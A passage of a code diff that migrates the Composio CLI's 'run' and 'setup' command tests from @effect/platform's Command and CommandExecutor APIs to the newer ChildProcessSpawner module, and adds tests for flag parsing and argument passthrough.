68 const STUB_CHILD_PID = 987_654;
69
84 -const stubProcess = (command: PlatformCommand.Command): CommandExecutor.Process => ({
85 - [CommandExecutor.ProcessTypeId]: CommandExecutor.ProcessTypeId,
86 - pid: CommandExecutor.ProcessId(STUB_CHILD_PID),
87 - exitCode: Effect.suspend(() => commandRuns(command)),
88 - isRunning: Effect.succeed(false),
89 - kill: () => Effect.void,
90 - stdin: Sink.drain,
91 - stdout: Stream.empty,
92 - stderr: Stream.empty,
93 - toJSON: () => ({ _id: 'StubProcess' }),
94 - toString: () => 'StubProcess',
95 - [Inspectable.NodeInspectSymbol]: () => ({ _id: 'StubProcess' }),
96 -});
70 +const stubHandle = (command: ChildProcess.Command): ChildProcessSpawner.ChildProcessHandle =>
71 + ChildProcessSpawner.makeHandle({
72 + pid: ChildProcessSpawner.ProcessId(STUB_CHILD_PID),
73 + exitCode: Effect.suspend(() => commandRuns(command)),
74 + isRunning: Effect.succeed(false),
75 + kill: () => Effect.void,
76 + stdin: Sink.drain,
77 + stdout: Stream.empty,
78 + stderr: Stream.empty,
79 + all: Stream.empty,
80 + getInputFd: () => Sink.drain,
81 + getOutputFd: () => Stream.empty,
82 + unref: Effect.succeed(Effect.void),
83 + });
84
98 -const StubCommandExecutor = Layer.succeed(
99 - CommandExecutor.CommandExecutor,
100 - CommandExecutor.makeExecutor(command => Effect.succeed(stubProcess(command)))
85 +const StubChildProcessSpawner = Layer.succeed(
86 + ChildProcessSpawner.ChildProcessSpawner,
87 + ChildProcessSpawner.make(command => Effect.succeed(stubHandle(command)))
88 );
89
90 const RunTestLive = (input: Parameters<typeof TestLive>[0] = {}) =>
@@ -109,29 +96,33 @@ const RunTestLive = (input: Parameters<typeof TestLive>[0] = {}) =>
96 capture: () => Effect.succeed({ exitCode: 0, stdout: '', stderr: '' }),
97 }),
98 }),
112 - StubCommandExecutor
99 + StubChildProcessSpawner
100 );
101
115 -const inspectRunCommand = (command: PlatformCommand.Command) => {
116 - const [standard] = PlatformCommand.flatten(command);
102 +const inspectRunCommand = (command: ChildProcess.Command) => {
103 + if (!ChildProcess.isStandardCommand(command)) {
104 + throw new Error('Expected the run command to be a standard (non-piped) command.');
105 + }
106 return {
118 - cmd: [standard.command, ...standard.args],
119 - env: Object.fromEntries(HashMap.entries(standard.env)),
120 - extendEnv: standard.extendEnv,
121 - stdio: [standard.stdin, standard.stdout, standard.stderr],
107 + cmd: [command.command, ...command.args],
108 + env: command.options.env ?? {},
109 + extendEnv: command.options.extendEnv,
110 + stdio: [command.options.stdin, command.options.stdout, command.options.stderr],
111 };
112 };
113
114 describe('CLI: composio run', () => {
115 afterEach(() => {
116 process.exitCode = undefined;
128 - commandRuns.mockReset().mockImplementation(() => Effect.succeed(CommandExecutor.ExitCode(0)));
117 + commandRuns
118 + .mockReset()
119 + .mockImplementation(() => Effect.succeed(ChildProcessSpawner.ExitCode(0)));
120 vi.unstubAllGlobals();
121 vi.restoreAllMocks();
122 });
123
124 layer(RunTestLive())(it => {
134 - it.scoped('[Given] a root run telemetry id [Then] the child receives the same run id', () =>
125 + it.effect('[Given] a root run telemetry id [Then] the child receives the same run id', () =>
126 Effect.gen(function* () {
127 const telemetryContext = createCliCommandTelemetryContext(
128 ['bun', 'composio', 'run', 'console.log("hi")'],
@@ -145,7 +136,7 @@ describe('CLI: composio run', () => {
136
137 commandRuns.mockImplementation(command => {
138 expect(inspectRunCommand(command).env.COMPOSIO_CLI_PARENT_RUN_ID).toBe(runId);
148 - return Effect.succeed(CommandExecutor.ExitCode(0));
139 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
140 });
141
142 // The bootstrap hands the run id it minted for telemetry to the command, the way
@@ -158,7 +149,7 @@ describe('CLI: composio run', () => {
149 });
150
151 layer(RunTestLive())(it => {
161 - it.scoped(
152 + it.effect(
153 '[Given] a terminal interrupt [Then] it forwards the signal to the child process group and unregisters its handlers',
154 () =>
155 Effect.gen(function* () {
@@ -183,7 +174,7 @@ describe('CLI: composio run', () => {
174 for (const listener of process.listeners('SIGINT').slice(sigintBaseline)) {
175 listener('SIGINT');
176 }
186 - return CommandExecutor.ExitCode(0);
177 + return ChildProcessSpawner.ExitCode(0);
178 })
179 );
180
@@ -199,11 +190,11 @@ describe('CLI: composio run', () => {
190 });
191
192 layer(RunTestLive())(it => {
202 - it.scoped(
193 + it.effect(
194 '[Given] inline code and args [Then] it forwards them to the embedded Bun runtime',
195 () =>
196 Effect.gen(function* () {
206 - commandRuns.mockImplementation(() => Effect.succeed(CommandExecutor.ExitCode(7)));
197 + commandRuns.mockImplementation(() => Effect.succeed(ChildProcessSpawner.ExitCode(7)));
198
199 yield* cli(['run', 'console.log("hi")', '--flag', 'value']);
200 const output = yield* MockConsole.getLines();
@@ -238,7 +229,7 @@ describe('CLI: composio run', () => {
229 });
230
231 layer(RunTestLive({ baseConfigProvider: acpOnlyConfigProvider }))(it => {
241 - it.scoped(
232 + it.effect(
233 '[Given] COMPOSIO_RUN_ACP_ONLY=1 [Then] run enables ACP-only execution without a flag',
234 () =>
235 Effect.gen(function* () {
@@ -246,7 +237,7 @@ describe('CLI: composio run', () => {
237 expect(readRunPreloadSource(inspectRunCommand(command).cmd)).toContain(
238 '"acpOnly":true'
239 );
249 - return Effect.succeed(CommandExecutor.ExitCode(0));
240 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
241 });
242
243 yield* cli(['run', 'console.log("hi")']);
@@ -255,11 +246,11 @@ describe('CLI: composio run', () => {
246 })
247 );
248
258 - it.scoped('[Given] --acp-only=false and configured ACP-only mode [Then] the flag wins', () =>
249 + it.effect('[Given] --acp-only=false and configured ACP-only mode [Then] the flag wins', () =>
250 Effect.gen(function* () {
251 commandRuns.mockImplementation(command => {
252 expect(readRunPreloadSource(inspectRunCommand(command).cmd)).toContain('"acpOnly":false');
262 - return Effect.succeed(CommandExecutor.ExitCode(0));
253 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
254 });
255
256 yield* cli(['run', '--acp-only=false', 'console.log("hi")']);
@@ -270,12 +261,12 @@ describe('CLI: composio run', () => {
261 });
262
263 layer(RunTestLive({ baseConfigProvider: enabledRuntimeFlagsConfigProvider }))(it => {
273 - it.scoped('[Given] explicit false flags [Then] inherited true values are cleared', () =>
264 + it.effect('[Given] explicit false flags [Then] inherited true values are cleared', () =>
265 Effect.gen(function* () {
266 let preloadSource = '';
267 commandRuns.mockImplementation(command => {
268 preloadSource = readRunPreloadSource(inspectRunCommand(command).cmd);
278 - return Effect.succeed(CommandExecutor.ExitCode(0));
269 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
270 });
271
272 yield* cli([
@@ -299,14 +290,14 @@ describe('CLI: composio run', () => {
290 });
291
292 layer(Layer.merge(RunTestLive(), telemetryDebugModeLayer(true)))(it => {
302 - it.scoped(
293 + it.effect(
294 '[Given] --telemetry-debug [Then] the spawned script and its children observe it',
295 () =>
296 Effect.gen(function* () {
297 let preloadSource = '';
298 commandRuns.mockImplementation(command => {
299 preloadSource = readRunPreloadSource(inspectRunCommand(command).cmd);
309 - return Effect.succeed(CommandExecutor.ExitCode(0));
300 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
301 });
302
303 yield* cli(['run', 'console.log("hi")']);
@@ -319,7 +310,7 @@ describe('CLI: composio run', () => {
310 });
311
312 layer(RunTestLive())(it => {
322 - it.scoped(
313 + it.effect(
314 '[Given] --acp-only [Then] run accepts the flag and forwards execution normally',
315 () =>
316 Effect.gen(function* () {
@@ -327,7 +318,7 @@ describe('CLI: composio run', () => {
318 expect(readRunPreloadSource(inspectRunCommand(command).cmd)).toContain(
319 '"acpOnly":true'
320 );
330 - return Effect.succeed(CommandExecutor.ExitCode(0));
321 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
322 });
323
324 yield* cli(['run', '--acp-only', 'console.log("hi")']);
@@ -339,12 +330,12 @@ describe('CLI: composio run', () => {
330 })
331 );
332
342 - it.scoped('[Given] repeated invocations [Then] hidden flags do not leak', () =>
333 + it.effect('[Given] repeated invocations [Then] hidden flags do not leak', () =>
334 Effect.gen(function* () {
335 const preloadSources: string[] = [];
336 commandRuns.mockImplementation(command => {
337 preloadSources.push(readRunPreloadSource(inspectRunCommand(command).cmd));
347 - return Effect.succeed(CommandExecutor.ExitCode(0));
338 + return Effect.succeed(ChildProcessSpawner.ExitCode(0));
339 });
340
341 yield* cli(['run', '--acp-only', 'console.log("first")']);
@@ -358,7 +349,7 @@ describe('CLI: composio run', () => {
349 });
350
351 layer(RunTestLive())(it => {
361 - it.scoped(
352 + it.effect(
353 '[Given] --logs-off [Then] run accepts the flag and forwards execution normally',
354 () =>
355 Effect.gen(function* () {
@@ -373,7 +364,7 @@ describe('CLI: composio run', () => {
364 });
365
366 layer(RunTestLive())(it => {
376 - it.scoped(
367 + it.effect(
368 '[Given] a multiline structured experimental_subAgent script [Then] run preserves the inline TypeScript source',
369 () =>
370 Effect.gen(function* () {
@@ -414,7 +405,7 @@ describe('CLI: composio run', () => {
405 });
406
407 layer(RunTestLive())(it => {
417 - it.scoped('[Given] --file [Then] it forwards file execution to the embedded Bun runtime', () =>
408 + it.effect('[Given] --file [Then] it forwards file execution to the embedded Bun runtime', () =>
409 Effect.gen(function* () {
410 const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'composio-run-test-'));
411 const scriptPath = path.join(tempDir, 'script.ts');
@@ -444,7 +435,7 @@ describe('CLI: composio run', () => {
435 });
436
437 layer(RunTestLive())(it => {
447 - it.scoped(
438 + it.effect(
439 '[Given] no inline code and no --file [Then] it fails with a typed usage error, not a defect',
440 () =>
441 Effect.gen(function* () {
@@ -452,7 +443,7 @@ describe('CLI: composio run', () => {
443 expect(Exit.isFailure(exit)).toBe(true);
444 if (!Exit.isFailure(exit)) return;
445
455 - const failure = Cause.failureOption(exit.cause);
446 + const failure = Cause.findErrorOption(exit.cause);
447 expect(Option.isSome(failure)).toBe(true);
448 expect(failure.pipe(Option.getOrThrow)).toBeInstanceOf(MissingRunSourceError);
449 expect(
@@ -465,7 +456,69 @@ describe('CLI: composio run', () => {
456 });
457
458 layer(RunTestLive())(it => {
468 - it.scoped(
459 + it.effect(
460 + '[Given] --file=path inline form followed by --dry-run [Then] both parse as run flags',
461 + () =>
462 + Effect.gen(function* () {
463 + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'composio-run-test-'));
464 + const scriptPath = path.join(tempDir, 'script.ts');
465 + fs.writeFileSync(scriptPath, 'const value = 1 + 1;\nvalue * 2;\n', 'utf8');
466 +
467 + try {
468 + yield* cli(['run', `--file=${scriptPath}`, '--dry-run']);
469 +
470 + expect(commandRuns).toHaveBeenCalledTimes(1);
471 + const spawnConfig = inspectRunCommand(commandRuns.mock.calls[0]![0]);
472 + // `--file=...` must be recognized as a run flag: file mode compiles a
473 + // wrapper script (not `--eval` inline code), and `--dry-run` must not
474 + // leak into the forwarded script arguments.
475 + expect(spawnConfig.cmd[3]).toMatch(/\.composio-run-.*\.ts$/);
476 + expect(spawnConfig.cmd).not.toContain('--dry-run');
477 + expect(process.exitCode).toBe(0);
478 + } finally {
479 + fs.rmSync(tempDir, { recursive: true, force: true });
480 + }
481 + })
482 + );
483 + });
484 +
485 + layer(RunTestLive())(it => {
486 + it.effect(
487 + '[Given] a second literal -- in passthrough args [Then] it is forwarded to the script',
488 + () =>
489 + Effect.gen(function* () {
490 + yield* cli(['run', 'console.log("hi")', '--', 'alpha', '--', 'beta']);
491 +
492 + expect(commandRuns).toHaveBeenCalledTimes(1);
493 + const spawnConfig = inspectRunCommand(commandRuns.mock.calls[0]![0]);
494 + // First `--` is the run/script boundary; the second is a script
495 + // argument and must reach the script verbatim (v3 behavior).
496 + expect(spawnConfig.cmd.slice(5)).toEqual(['--', 'alpha', '--', 'beta']);
497 + expect(process.exitCode).toBe(0);
498 + })
499 + );
500 + });
501 +
502 + layer(RunTestLive())(it => {
503 + it.effect(
504 + '[Given] a script arg literally starting with the old escape-marker string [Then] it reaches the script untouched',
505 + () =>
506 + Effect.gen(function* () {
507 + // The passthrough tail is now handed off out-of-band instead of being
508 + // smuggled through the parser with a marker string, so a user token
509 + // that happens to look like the old marker is never mangled.
510 + yield* cli(['run', 'console.log("hi")', '@@composio-run-raw@@literal']);
511 +
512 + expect(commandRuns).toHaveBeenCalledTimes(1);
513 + const spawnConfig = inspectRunCommand(commandRuns.mock.calls[0]![0]);
514 + expect(spawnConfig.cmd.slice(5)).toEqual(['--', '@@composio-run-raw@@literal']);
515 + expect(process.exitCode).toBe(0);
516 + })
517 + );
518 + });
519 +
520 + layer(RunTestLive())(it => {
521 + it.effect(
522 '[Given] run help [Then] it documents injected execute, search, proxy, experimental_subAgent, and z helpers',
523 () =>
524 Effect.gen(function* () {
@@ -636,7 +689,7 @@ describe('run-subagent-shared', () => {
689 });
690
691 describe('inferCliInvocationPrefix', () => {
639 - layer(BunContext.layer)(it => {
692 + layer(BunServices.layer)(it => {
693 it.effect(
694 '[Given] a compiled bunfs entrypoint [Then] it falls back to the binary path only',
695 () =>
@@ -651,7 +704,7 @@ describe('inferCliInvocationPrefix', () => {
704 });
705
706 describe('resolveRunCompanionModulePath', () => {
654 - layer(BunContext.layer)(it => {
707 + layer(BunServices.layer)(it => {
708 it.effect(
709 '[Given] a bundled dist chunk [Then] it resolves sibling companion modules in dist',
710 () =>
@@ -696,7 +749,7 @@ describe('resolveRunCompanionModulePath', () => {
749 });
750
751 describe('run companion install metadata', () => {
699 - layer(BunContext.layer)(it => {
752 + layer(BunServices.layer)(it => {
753 it.effect(
754 '[Given] an installed release tag file [Then] run helpers can read it back from the install dir',
755 () =>
ts/packages/cli/test/src/commands/setup.cmd.test.ts
+52 -50
@@ -1,7 +1,7 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
1 import { describe, expect, layer } from '@effect/vitest';
4 -import { Cause, Effect, Exit, Fiber, TestClock } from 'effect';
2 +import { Cause, Effect, Exit, Fiber } from 'effect';
3 +import { TestClock } from 'effect/testing';
4 +import { ChildProcess, ChildProcessSpawner } from 'effect/unstable/process';
5 import { afterEach, vi } from 'vitest';
6 import { SkillInstallError } from 'src/effects/install-skill';
7 import { CommandRunner } from 'src/services/command-runner';
@@ -66,9 +66,11 @@ const HOST_OUTPUT_FORMATTERS: Readonly<Record<AgentHost, HostOutputFormatter>> =
66 },
67 };
68
69 -const commandParts = (command: Command.Command): ReadonlyArray<string> => {
70 - const first = Command.flatten(command)[0];
71 - return [first.command, ...first.args];
69 +const commandParts = (command: ChildProcess.Command): ReadonlyArray<string> => {
70 + if (!ChildProcess.isStandardCommand(command)) {
71 + throw new Error('Expected a standard command');
72 + }
73 + return [command.command, ...command.args];
74 };
75
76 const makeRunner = (
@@ -79,7 +81,7 @@ const makeRunner = (
81 }
82 ) =>
83 CommandRunner.of({
82 - run: () => Effect.succeed(CommandExecutor.ExitCode(0)),
84 + run: () => Effect.succeed(ChildProcessSpawner.ExitCode(0)),
85 capture: command => {
86 const result = respond(commandParts(command));
87 return Effect.succeed({
@@ -242,7 +244,7 @@ describe('CLI: composio setup', () => {
244 setupSkillInstaller: makeSkillInstaller(),
245 })
246 )('fresh Claude install', it => {
245 - it.scoped('uses exact native commands and verifies readiness', () =>
247 + it.effect('uses exact native commands and verifies readiness', () =>
248 Effect.gen(function* () {
249 yield* cli(['setup', '--target', 'claude', '--yes']);
250
@@ -281,7 +283,7 @@ describe('CLI: composio setup', () => {
283 codex: { available: true, marketplace: 'canonical', plugin: 'enabled' },
284 });
285 layer(TestLive({ commandRunner: existingCodex.runner }))('existing Codex install', it => {
284 - it.scoped('is idempotent', () =>
286 + it.effect('is idempotent', () =>
287 Effect.gen(function* () {
288 yield* cli(['setup', '--target', 'codex', '--yes']);
289
@@ -315,7 +317,7 @@ describe('CLI: composio setup', () => {
317 setupSkillInstaller: staleSkillInstaller,
318 })
319 )('existing Claude plugin with stale skill', it => {
318 - it.scoped('requires approval, then repairs the skill without extra output', () =>
320 + it.effect('requires approval, then repairs the skill without extra output', () =>
321 Effect.gen(function* () {
322 const withoutApproval = yield* Effect.exit(cli(['setup', '--target', 'claude']));
323 expect(Exit.isFailure(withoutApproval)).toBe(true);
@@ -343,7 +345,7 @@ describe('CLI: composio setup', () => {
345 setupSkillInstaller: makeSkillInstaller(true),
346 })
347 )(`disabled ${host} plugin`, it => {
346 - it.scoped('repairs the plugin through the native path', () =>
348 + it.effect('repairs the plugin through the native path', () =>
349 Effect.gen(function* () {
350 yield* cli(['setup', '--target', host, '--yes']);
351
@@ -365,7 +367,7 @@ describe('CLI: composio setup', () => {
367
368 const freshCodex = makeFakeHosts({ codex: { available: true } });
369 layer(TestLive({ commandRunner: freshCodex.runner }))('fresh Codex install', it => {
368 - it.scoped('uses the public OpenAI marketplace and exact native commands', () =>
370 + it.effect('uses the public OpenAI marketplace and exact native commands', () =>
371 Effect.gen(function* () {
372 yield* cli(['setup', '--target', 'codex', '--yes']);
373
@@ -395,7 +397,7 @@ describe('CLI: composio setup', () => {
397 setupSkillInstaller: makeSkillInstaller(),
398 })
399 )('automatic setup with one host', it => {
398 - it.scoped('installs only the detected host', () =>
400 + it.effect('installs only the detected host', () =>
401 Effect.gen(function* () {
402 yield* cli(['setup', '--target', 'auto', '--yes']);
403
@@ -415,7 +417,7 @@ describe('CLI: composio setup', () => {
417 layer(TestLive({ commandRunner: autoCodex.runner }))(
418 'automatic setup with only supported Codex',
419 it => {
418 - it.scoped('installs Codex when Claude is not detected', () =>
420 + it.effect('installs Codex when Claude is not detected', () =>
421 Effect.gen(function* () {
422 yield* cli(['setup', '--target', 'auto', '--yes']);
423
@@ -441,7 +443,7 @@ describe('CLI: composio setup', () => {
443 setupSkillInstaller: makeSkillInstaller(true),
444 })
445 )('automatic setup with both hosts', it => {
444 - it.scoped('selects both detected hosts and reports only plugin status', () =>
446 + it.effect('selects both detected hosts and reports only plugin status', () =>
447 Effect.gen(function* () {
448 yield* cli(['setup', '--target', 'auto']);
449
@@ -472,7 +474,7 @@ describe('CLI: composio setup', () => {
474 setupSkillInstaller: makeSkillInstaller(),
475 })
476 )('automatic setup with Claude and unsupported Codex', it => {
475 - it.scoped('installs Claude and reports that Codex was skipped', () =>
477 + it.effect('installs Claude and reports that Codex was skipped', () =>
478 Effect.gen(function* () {
479 yield* cli(['setup', '--target', 'auto', '--yes']);
480
@@ -511,7 +513,7 @@ describe('CLI: composio setup', () => {
513 layer(TestLive({ commandRunner: autoCodexWithLegacyClaude.runner }))(
514 'automatic setup with unsupported Claude and Codex',
515 it => {
514 - it.scoped('installs Codex and reports that Claude was skipped', () =>
516 + it.effect('installs Codex and reports that Claude was skipped', () =>
517 Effect.gen(function* () {
518 yield* cli(['setup', '--target', 'auto', '--yes']);
519
@@ -551,7 +553,7 @@ describe('CLI: composio setup', () => {
553 setupSkillInstaller: makeSkillInstaller(),
554 })
555 )('explicit all-host setup', it => {
554 - it.scoped('configures both supported hosts', () =>
556 + it.effect('configures both supported hosts', () =>
557 Effect.gen(function* () {
558 yield* cli(['setup', '--target', 'all', '--yes']);
559
@@ -571,7 +573,7 @@ describe('CLI: composio setup', () => {
573 layer(TestLive({ commandRunner: partialAllTargets.runner }))(
574 'explicit all-host setup with a missing host',
575 it => {
574 - it.scoped('fails before mutating the detected host', () =>
576 + it.effect('fails before mutating the detected host', () =>
577 Effect.gen(function* () {
578 const exit = yield* Effect.exit(cli(['setup', '--target', 'all', '--yes']));
579
@@ -603,7 +605,7 @@ describe('CLI: composio setup', () => {
605 setupSkillInstaller: makeSkillInstaller(),
606 })
607 )('explicit all-host setup with unsupported Codex', it => {
606 - it.scoped('fails before mutating Claude', () =>
608 + it.effect('fails before mutating Claude', () =>
609 Effect.gen(function* () {
610 const exit = yield* Effect.exit(cli(['setup', '--target', 'all', '--yes']));
611
@@ -626,7 +628,7 @@ describe('CLI: composio setup', () => {
628 setupSkillInstaller: makeSkillInstaller(true),
629 })
630 )('uninstall from both hosts', it => {
629 - it.scoped('uses native removal commands and is idempotent', () =>
631 + it.effect('uses native removal commands and is idempotent', () =>
632 Effect.gen(function* () {
633 yield* cli(['setup', '--uninstall', '--target', 'all', '--yes']);
634 yield* cli(['setup', '--uninstall', '--target', 'all', '--yes']);
@@ -676,7 +678,7 @@ describe('CLI: composio setup', () => {
678 layer(TestLive({ commandRunner: uninstallMissing.runner }))(
679 'uninstall when plugins are absent',
680 it => {
679 - it.scoped('reports the idempotent state without requiring approval', () =>
681 + it.effect('reports the idempotent state without requiring approval', () =>
682 Effect.gen(function* () {
683 yield* cli(['setup', '--uninstall', '--target', 'all']);
684
@@ -707,7 +709,7 @@ describe('CLI: composio setup', () => {
709 }),
710 })
711 )('uninstall with an orphaned managed Claude skill', it => {
710 - it.scoped('requires approval before removing the managed skill', () =>
712 + it.effect('requires approval before removing the managed skill', () =>
713 Effect.gen(function* () {
714 const withoutApproval = yield* Effect.exit(
715 cli(['setup', '--uninstall', '--target', 'claude'])
@@ -735,7 +737,7 @@ describe('CLI: composio setup', () => {
737 }),
738 })
739 )('uninstall with an unmanaged Claude skill', it => {
738 - it.scoped('preserves the skill without treating plugin removal as a failure', () =>
740 + it.effect('preserves the skill without treating plugin removal as a failure', () =>
741 Effect.gen(function* () {
742 yield* cli(['setup', '--uninstall', '--target', 'claude', '--yes']);
743
@@ -755,7 +757,7 @@ describe('CLI: composio setup', () => {
757 setupSkillInstaller: makeSkillInstaller(true),
758 })
759 )('non-interactive uninstall approval', it => {
758 - it.scoped('requires --yes before removing an installed plugin', () =>
760 + it.effect('requires --yes before removing an installed plugin', () =>
761 Effect.gen(function* () {
762 const exit = yield* Effect.exit(cli(['setup', '--uninstall', '--target', 'claude']));
763
@@ -776,7 +778,7 @@ describe('CLI: composio setup', () => {
778 setupSkillInstaller: makeSkillInstaller(true),
779 })
780 )('uninstall with a conflicting marketplace', it => {
779 - it.scoped('removes the installed plugin without replacing the marketplace', () =>
781 + it.effect('removes the installed plugin without replacing the marketplace', () =>
782 Effect.gen(function* () {
783 yield* cli(['setup', '--uninstall', '--target', 'claude', '--yes']);
784
@@ -796,7 +798,7 @@ describe('CLI: composio setup', () => {
798 setupSkillInstaller: makeSkillInstaller(true),
799 })
800 )('native uninstall failure', it => {
799 - it.scoped('fails without reporting the plugin as removed', () =>
801 + it.effect('fails without reporting the plugin as removed', () =>
802 Effect.gen(function* () {
803 const exit = yield* Effect.exit(
804 cli(['setup', '--uninstall', '--target', 'claude', '--yes'])
@@ -824,7 +826,7 @@ describe('CLI: composio setup', () => {
826 setupSkillInstaller: makeSkillInstaller(true),
827 })
828 )('project-scoped Claude plugin', it => {
827 - it.scoped('installs the required user-scoped plugin', () =>
829 + it.effect('installs the required user-scoped plugin', () =>
830 Effect.gen(function* () {
831 yield* cli(['setup', '--target', 'claude', '--yes']);
832
@@ -850,7 +852,7 @@ describe('CLI: composio setup', () => {
852 setupSkillInstaller: makeSkillInstaller(true),
853 })
854 )('plugin from a removed marketplace', it => {
853 - it.scoped('reinstalls after restoring the canonical marketplace', () =>
855 + it.effect('reinstalls after restoring the canonical marketplace', () =>
856 Effect.gen(function* () {
857 yield* cli(['setup', '--target', 'claude', '--yes']);
858
@@ -868,14 +870,14 @@ describe('CLI: composio setup', () => {
870
871 const unavailable = makeFakeHosts({});
872 layer(TestLive({ commandRunner: unavailable.runner }))('no supported host', it => {
871 - it.scoped('fails automatic setup', () =>
873 + it.effect('fails automatic setup', () =>
874 Effect.gen(function* () {
875 const exit = yield* Effect.exit(cli(['setup', '--target', 'auto', '--yes']));
876 expect(Exit.isFailure(exit)).toBe(true);
877 })
878 );
879
878 - it.scoped('can skip automatic setup for installer integration', () =>
880 + it.effect('can skip automatic setup for installer integration', () =>
881 Effect.gen(function* () {
882 const exit = yield* Effect.exit(
883 cli(['setup', '--target', 'auto', '--yes', '--if-present'])
@@ -887,7 +889,7 @@ describe('CLI: composio setup', () => {
889 })
890 );
891
890 - it.scoped('does not skip an explicitly requested missing host', () =>
892 + it.effect('does not skip an explicitly requested missing host', () =>
893 Effect.gen(function* () {
894 const exit = yield* Effect.exit(
895 cli(['setup', '--target', 'claude', '--yes', '--if-present'])
@@ -906,7 +908,7 @@ describe('CLI: composio setup', () => {
908 claude: { available: true, marketplace: 'conflict' },
909 });
910 layer(TestLive({ commandRunner: conflict.runner }))('marketplace source conflict', it => {
909 - it.scoped('fails safely instead of replacing the marketplace', () =>
911 + it.effect('fails safely instead of replacing the marketplace', () =>
912 Effect.gen(function* () {
913 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
914 expect(Exit.isFailure(exit)).toBe(true);
@@ -927,7 +929,7 @@ describe('CLI: composio setup', () => {
929 layer(TestLive({ commandRunner: unsafeMarketplace.runner }))(
930 `unsafe marketplace source: ${unsafeSource}`,
931 it => {
930 - it.scoped('rejects a non-canonical GitHub URL', () =>
932 + it.effect('rejects a non-canonical GitHub URL', () =>
933 Effect.gen(function* () {
934 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
935
@@ -948,7 +950,7 @@ describe('CLI: composio setup', () => {
950 { failOn: 'plugin list --json' }
951 );
952 layer(TestLive({ commandRunner: failedInspection.runner }))('failed native inspection', it => {
951 - it.scoped('fails before running setup mutations', () =>
953 + it.effect('fails before running setup mutations', () =>
954 Effect.gen(function* () {
955 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude', '--yes']));
956
@@ -979,7 +981,7 @@ describe('CLI: composio setup', () => {
981 layer(TestLive({ commandRunner: legacyClaude.runner }))(
982 'Claude without JSON plugin inspection',
983 it => {
982 - it.scoped('fails automatic setup with actionable update instructions', () =>
984 + it.effect('fails automatic setup with actionable update instructions', () =>
985 Effect.gen(function* () {
986 const exit = yield* Effect.exit(cli(['setup', '--target', 'auto', '--yes']));
987
@@ -1002,7 +1004,7 @@ describe('CLI: composio setup', () => {
1004 layer(TestLive({ commandRunner: legacyCodex.runner }))(
1005 'Codex without JSON marketplace inspection',
1006 it => {
1005 - it.scoped('fails automatic setup when no supported host remains', () =>
1007 + it.effect('fails automatic setup when no supported host remains', () =>
1008 Effect.gen(function* () {
1009 const exit = yield* Effect.exit(cli(['setup', '--target', 'auto', '--yes']));
1010
@@ -1013,7 +1015,7 @@ describe('CLI: composio setup', () => {
1015 })
1016 );
1017
1016 - it.scoped('skips cleanly for installer integration when no supported host remains', () =>
1018 + it.effect('skips cleanly for installer integration when no supported host remains', () =>
1019 Effect.gen(function* () {
1020 const exit = yield* Effect.exit(
1021 cli(['setup', '--target', 'auto', '--yes', '--if-present'])
@@ -1027,7 +1029,7 @@ describe('CLI: composio setup', () => {
1029 })
1030 );
1031
1030 - it.scoped('fails with an actionable upgrade message before running setup mutations', () =>
1032 + it.effect('fails with an actionable upgrade message before running setup mutations', () =>
1033 Effect.gen(function* () {
1034 const exit = yield* Effect.exit(cli(['setup', '--target', 'codex', '--yes']));
1035
@@ -1051,7 +1053,7 @@ describe('CLI: composio setup', () => {
1053 layer(TestLive({ commandRunner: malformedInspection.runner }))(
1054 'malformed native inspection',
1055 it => {
1054 - it.scoped('fails before running setup mutations', () =>
1056 + it.effect('fails before running setup mutations', () =>
1057 Effect.gen(function* () {
1058 const exit = yield* Effect.exit(cli(['setup', '--target', 'codex', '--yes']));
1059
@@ -1072,7 +1074,7 @@ describe('CLI: composio setup', () => {
1074 setupSkillInstaller: makeSkillInstaller(),
1075 })
1076 )('multi-host preflight', it => {
1075 - it.scoped('does not mutate an earlier host when a later host conflicts', () =>
1077 + it.effect('does not mutate an earlier host when a later host conflicts', () =>
1078 Effect.gen(function* () {
1079 const exit = yield* Effect.exit(cli(['setup', '--target', 'all', '--yes']));
1080
@@ -1098,7 +1100,7 @@ describe('CLI: composio setup', () => {
1100 setupSkillInstaller: makeSkillInstaller(),
1101 })
1102 )('multi-host mutation failure', it => {
1101 - it.scoped('reports hosts completed before a later target fails', () =>
1103 + it.effect('reports hosts completed before a later target fails', () =>
1104 Effect.gen(function* () {
1105 const exit = yield* Effect.exit(cli(['setup', '--target', 'all', '--yes']));
1106
@@ -1118,7 +1120,7 @@ describe('CLI: composio setup', () => {
1120
1121 const nonInteractive = makeFakeHosts({ claude: { available: true } });
1122 layer(TestLive({ commandRunner: nonInteractive.runner }))('non-interactive approval', it => {
1121 - it.scoped('inspects first but requires --yes before mutating hosts', () =>
1123 + it.effect('inspects first but requires --yes before mutating hosts', () =>
1124 Effect.gen(function* () {
1125 const exit = yield* Effect.exit(cli(['setup', '--target', 'claude']));
1126
@@ -1135,17 +1137,17 @@ describe('CLI: composio setup', () => {
1137 });
1138
1139 const hangingRunner = CommandRunner.of({
1138 - run: () => Effect.succeed(CommandExecutor.ExitCode(0)),
1140 + run: () => Effect.succeed(ChildProcessSpawner.ExitCode(0)),
1141 capture: () => Effect.never,
1142 });
1143 layer(TestLive({ commandRunner: hangingRunner }))('hung native host', it => {
1142 - it.scoped('times out instead of blocking setup forever', () =>
1144 + it.effect('times out instead of blocking setup forever', () =>
1145 Effect.gen(function* () {
1146 const fiber = yield* cli(['setup', '--target', 'claude', '--yes']).pipe(
1147 Effect.exit,
1146 - Effect.fork
1148 + Effect.forkChild
1149 );
1148 - yield* Effect.yieldNow();
1150 + yield* Effect.yieldNow;
1151 yield* TestClock.adjust('2 minutes');
1152 const exit = yield* Fiber.join(fiber);
1153
@@ -1165,7 +1167,7 @@ describe('CLI: composio setup', () => {
1167 layer(TestLive({ commandRunner: noOp.runner, setupSkillInstaller: makeSkillInstaller() }))(
1168 'post-install verification',
1169 it => {
1168 - it.scoped('fails when successful commands do not change native state', () =>
